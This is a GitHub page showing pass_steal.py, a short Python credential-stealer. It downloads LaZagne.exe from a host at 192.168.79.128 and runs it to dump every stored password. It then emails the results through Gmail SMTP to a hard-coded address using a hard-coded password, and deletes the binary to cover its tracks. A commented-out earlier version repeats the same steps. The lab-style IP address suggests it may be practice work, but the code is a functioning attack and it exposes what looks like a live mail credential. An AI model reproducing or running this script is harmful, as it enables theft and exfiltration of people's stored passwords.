-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpass_steal.py
More file actions
56 lines (49 loc) · 1.71 KB
/
Copy pathpass_steal.py
File metadata and controls
56 lines (49 loc) · 1.71 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!usr/bin/env python
# CURRENT CODE DOESNOT WORK BECAUSE WIN MACHINE MAY NOT HAVE REQUEST LIB INSTALLED
# import requests, subprocess, smtplib
#
# def download(url):
# get_response = requests.get(url)
# file_name = url.split("/")[-1]
#
# with open(file_name, "wb") as out_file:
# out_file.write(get_response.content)
#
# def send_mail(email, password, message):
# server = smtplib.SMTP("smtp.gmail.com", 587)
# server.starttls()
# server.login(email, password)s
# server.sendmail(email, email, message)
# server.quit()
#
#
# download("http://192.168.79.128/Files/LaZagne.exe")
# result = subprocess.check_output("LaZagne.exe all", shell=True).decode("utf-8", errors="ignore")
# send_mail("labX1997@gmail.com", "iiluyvjroszfjxbu", result)
# os.remove("LaZagne.exe")
# MY APPROACH:
import subprocess, sys, os,tempfile
# Install requests if not available
try:
import requests
except ImportError:
subprocess.check_call([sys.executable, "-m", "pip", "install", "requests"])
import requests
import subprocess, smtplib
def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content)
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)
download("http://192.168.79.128/Files/LaZagne.exe")
result = subprocess.check_output("LaZagne.exe all", shell=True).decode("utf-8", errors="ignore")
send_mail("labX1997@gmail.com", "iiluyvjroszfjxbu", result)
os.remove("LaZagne.exe")